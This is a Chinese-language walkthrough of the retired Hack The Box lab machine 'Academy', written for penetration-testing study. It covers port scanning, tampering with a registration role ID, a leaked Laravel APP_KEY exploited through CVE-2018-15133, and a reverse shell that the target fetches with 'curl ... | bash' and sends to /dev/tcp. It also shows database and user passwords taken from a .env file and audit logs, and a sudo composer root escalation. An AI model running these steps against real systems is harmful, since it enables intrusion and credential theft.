• HTB-靶机-Academy


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.215

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    信息枚举收集
    https://github.com/codingo/Reconnoitre 跟autorecon类似
    autorecon 10.10.10.215 -o ./Doctor-autorecon
    
    masscan -p1-65535 10.10.10.215 --rate=1000 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    nmap -Pn -sV -sC -p$ports 10.10.10.215
    sudo nmap -sS -sV -T4 -O -A -v 10.10.10.215
    
    nmap自动探测工具
    https://github.com/21y4d/nmapAutomator
    
    爆破目录新工具
    https://github.com/phra/rustbuster

    开放了3个端口,先看看web应用,使用curl访问一把

    发现直接访问IP地址目标靶机会返回响应码302,然后给个Location地址,域名是http://academy.htb  看到这个就知道要配置绑定本地hosts文件然后访问

    追加hosts文件
    sudo -- sh -c "echo '10.10.10.215 academy.htb' >> /etc/hosts"
    访问之后看到登录注册页面,注册了个用户登录进去没发现可利用的地方,使用burpsuite看抓包的情况,绕行roleid=0根据经验猜测可能跟权限控制有关,将其改成roleid=1重新注册一个用户,登录进去是admin权限,提示有一个域名dev-staging-01.academy.htb ,按照下面方式追加到hosts文件
    sudo -- sh -c "echo '10.10.10.215 dev-staging-01.academy.htb' >> /etc/hosts"

    原始注册请求数据包

    更改roleid=1

    注册成功之后登录目标靶机获得一个域名dev-staging-01.academy.htb

    上述发现的域名绑定hosts访问发现是打开debug模式的页面,发现了敏感信息,一串base64编码信息

     此处花了点时间,最后通过下面参考链接获取了一枚目标靶机的远程代码执行漏洞额exploit

    https://github.com/facade/ignition
    https://www.exploit-db.com/exploits/47129
    https://jwt.io/
    https://github.com/aljavier/exploit_laravel_cve-2018-15133

    利用配置exploit

    APP_KEY     "base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0="
    
    对应的exploit
    https://github.com/aljavier/exploit_laravel_cve-2018-15133
    
    下面是装载exploit需要的模块
    git clone https://github.com/aljavier/exploit_laravel_cve-2018-15133
    cd exploit_laravel_cve-2018-15133/
    sudo pip3 install -r requirements.txt
    
    python3 pwn_laravel.py http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= --interactive

    最终利用成功,可以远程代码执行,将这个可交互式shell换成反弹shell,具体如下

    上面执行完成后直接可远程命令执行,然后将其反弹shell,再升级为tty-shell
    
    在本机kali上执行下面操作
    echo 'bash -i >& /dev/tcp/10.10.14.16/8833 0>&1' > /index.html
    sudo python3 -m http.server 80
    nc -lvnp 8833
    
    在拿到目标靶机的交互式shell之后执行下面操作触发反弹shell
    curl 10.10.14.16 | bash
    
    成功反弹shell,开始升级tty-shell
    python3 -c 'import pty;pty.spawn("/bin/bash");'
    CTRL + Z
    stty raw -echo
    fg

    上面大概意思就是在目标靶机上执行命令然后反弹shell到kali本机,这里是反着来,是把反弹shell命令代码放在本地kali上然后在目标靶机上去触发此反弹shell命令代码

    在目标靶机上信息搜集

    www-data@academy:/home$ cat /var/www/html/academy/.env
    APP_NAME=Laravel
    APP_ENV=local
    APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
    APP_DEBUG=false
    APP_URL=http://localhost
    
    LOG_CHANNEL=stack
    
    DB_CONNECTION=mysql
    DB_HOST=127.0.0.1
    DB_PORT=3306
    DB_DATABASE=academy
    DB_USERNAME=dev
    DB_PASSWORD=mySup3rP4s5w0rd!!

    使用上面的数据库密码去尝试登录目标靶机普通用户的ssh服务,刚好可以登录用户cry0l1t3 ,使用su切换登录

    上面执行了一下id命令发现,此用户也隶属于组adm,针对组adm的权限是可以查看系统上的所有日志,可以通过审计的模块查看敏感信息,具体可参考如下

    https://serverfault.com/questions/485473/what-is-the-canonical-use-for-the-sys-and-adm-groups
    https://linux.die.net/man/8/pam_tty_audit
    https://www.cyberciti.biz/tips/linux-audit-files-to-see-who-made-changes-to-a-file.html
    
    通过上面的介绍,可以知道默认情况下Linux系统内核是不会记录审计的,但是系统管理员认为操作可以审计系统操作的记录,并且启用了tty输入的日志记录,其中就包括输入的账号和密码记录,系统会将其保存在/var/log/audit/audit.log文件里面,里面是16进制数据,这个可以手动解码,也可以使用aureport进行解码,下面是操作

    执行一把审计命令,其中的结果如下:

    $ aureport --tty
    
    TTY Report
    ===============================================
    # date time event auid term sess comm data
    ===============================================
    Error opening config file (Permission denied)
    NOTE - using built-in logs: /var/log/audit/audit.log
    1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl>
    2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>

    知道了另一个用户的账号和密码,直接su切换过去,然后再执行一把sudo -l

    关于composer可以进行直接提权,参考:

    https://gtfobins.github.io/gtfobins/composer/
    https://getcomposer.org/doc/articles/scripts.md

    提权操作
    
    TF=$(mktemp -d)
    echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
    sudo composer --working-dir=$TF run-script x
    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    linux高编进程------system函数使用
    linux高编进程------用户权限
    linux高编进程------支持外部命令的shell实现(glob、strsep、fork)
    linux高编进程------exec函数族
    linux高编进程------进程分配
    1299. 将每个元素替换为右侧最大元素
    719. 找出第 k 小的距离对(二分)
    35. 搜索插入位置(二分)
    文件打不开,移到废纸篓
    119. 杨辉三角 II
  • 原文地址:https://www.cnblogs.com/autopwn/p/14804143.html
Copyright © 2020-2023  润新知